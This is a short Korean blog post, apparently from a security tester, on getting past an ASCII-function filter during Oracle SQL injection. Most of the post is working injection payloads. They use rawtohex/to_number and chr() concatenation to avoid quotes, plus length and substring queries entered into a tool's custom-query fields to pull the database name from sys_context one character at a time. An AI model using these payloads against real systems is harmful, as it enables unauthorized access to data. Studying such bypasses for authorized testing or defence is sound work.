- SQL Injection/[02] ORACLE

ORACLE에서 ASCII 필터링 우회

n3015m 2008. 10. 8. 10:57
오늘 진단하다 ASCII를 필터링 하는 곳을 만났다.
하다보니 SELECT, FROM은 그냥 우회가 되었는뎅 ASCII필터링이라 참 골때리는 상황이다.

일단 ORACLE에서 급하게 우회 기법에 대해서 찾아 보았다.


■ 임시 해결책
select to_number(rawtohex('C'),'XXX') from dual;

Single Quote Filtering 되어 있을 경우
select to_number(rawtohex(chr(67)),chr(88)||chr(88)||chr(88)) from dual;

예시) BSID 1.0의 FILE → Setup → User Code 에
DB Server :
ORALCE
Length : (select+length(sys_context(chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||
                chr(78)||chr(86),chr(68)||chr(66)||chr(95)||chr(78)||chr(65)||chr(77)||
                chr(69)))from+dual)
Substing : (select+to_number(rawtohex(substr(sys_context(chr(85)||chr(83)||
                chr(69)||chr(82)||chr(69)||chr(78)||chr(86),chr(68)||chr(66)||chr(95)||
                chr(78)||chr(65)||chr(77)||chr(69)),SUBSTRCNT,1)),chr(88)||chr(88)||
                chr(88))from+dual)
Index : 버튼번호(오라클 사용자 정의쿼리가 처음이면 1을 입력)
Name : DB_USER

위의 명령을 삽입하고 수행하면 사용자 명 획득이 가능하다.